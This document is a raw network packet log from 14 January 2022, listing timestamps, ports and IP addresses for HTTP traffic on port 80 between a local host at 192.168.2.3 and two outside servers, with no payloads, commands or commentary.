Jan 14, 2022 02:05:13.579998016 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580022097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580059052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580097914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580137014 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580153942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580190897 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580210924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580249071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580285072 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580322981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580338001 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580368042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580394030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580436945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580476999 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580516100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580533981 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580568075 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580591917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580631018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580668926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580705881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580722094 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580751896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580775023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580815077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580852985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580884933 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.580909014 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580946922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.580961943 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581001043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581041098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581079006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581095934 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581126928 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581150055 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581187010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581226110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581264973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581280947 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581312895 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581336975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581376076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581413031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581450939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581466913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581495047 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581522942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581562042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581598997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581636906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581650972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581681967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581706047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581743956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581782103 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581820965 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581837893 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581877947 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.581918955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581955910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.581995010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582034111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582051039 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582084894 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582108021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582146883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582184076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582221985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582238913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582274914 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582294941 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582333088 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582370043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582425117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582441092 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582474947 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582499027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582537889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582576990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582614899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.582633018 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582660913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.582688093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.593326092 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.618756056 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.619837999 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.619884014 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.619923115 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.619934082 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.619961023 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.619972944 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.619999886 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620039940 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620078087 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620096922 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.620116949 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620136023 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.620156050 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620193958 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620230913 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.620260000 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.620290041 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.620438099 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.643770933 CET	80	49873	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.644850016 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.644927025 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.644938946 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.645622969 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.654886961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.655220985 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.655361891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.655428886 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.655599117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.655762911 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.655865908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.655924082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.655967951 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656011105 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656035900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656105995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656137943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656177998 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656229973 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656245947 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656311989 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656358004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656398058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656419992 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656472921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656529903 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656569004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656588078 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656627893 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656649113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656707048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656723976 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656764030 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656784058 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656827927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656845093 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656884909 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656900883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656940937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.656958103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.656991005 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657013893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657054901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657071114 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657109022 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657126904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657164097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657182932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657211065 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657239914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657278061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657295942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657330990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657352924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657391071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657407045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657445908 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657460928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657499075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657512903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657551050 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657571077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657609940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657625914 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657660007 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657681942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657721043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657737970 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657777071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657815933 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657831907 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657879114 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.657912970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657953978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.657970905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658005953 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658026934 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658066034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658081055 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658117056 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658134937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658174038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658190012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658225060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658246994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658284903 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658301115 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658338070 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658359051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658397913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658421040 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658449888 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658493042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658533096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658557892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658592939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658610106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658659935 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658673048 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658715963 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658732891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658770084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658788919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658823013 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658844948 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658884048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658900976 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658936977 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.658956051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.658993006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659009933 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659043074 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659068108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659106970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659123898 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659158945 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659181118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659220934 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659238100 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659276009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659292936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659331083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659347057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659384012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659401894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659440041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659456015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659492016 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659513950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659553051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659569025 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659603119 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659624100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659661055 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659677982 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659712076 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659734964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659774065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659791946 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659825087 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659847021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659883976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659898996 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659935951 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.659955978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.659996033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660012960 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660048962 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660069942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660109997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660129070 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660166979 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660183907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660223007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660234928 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660271883 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660289049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660326958 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660341978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660378933 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660398960 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660437107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660453081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660504103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660561085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660605907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660625935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660664082 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660682917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660721064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660737991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660773039 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660794973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660834074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660850048 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660885096 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660906076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660944939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.660962105 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.660998106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661019087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661056995 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661072016 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661118031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661128998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661160946 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661185026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661231041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661241055 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661274910 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661297083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661341906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661351919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661384106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661408901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661453962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.661463976 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.661506891 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.695600986 CET	80	49873	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.696392059 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.696484089 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.717560053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.717606068 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.717645884 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.717686892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.722490072 CET	80	49873	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.722824097 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.722974062 CET	49873	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.733504057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.733589888 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.733661890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.733701944 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.733722925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.733778000 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.733897924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.733906984 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.733954906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734023094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734076023 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734154940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734200954 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734232903 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734277964 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734338045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734385967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734432936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734477997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734493971 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734533072 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734596968 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734648943 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734690905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734751940 CET	49865	80	192.168.2.3	141.8.194.74
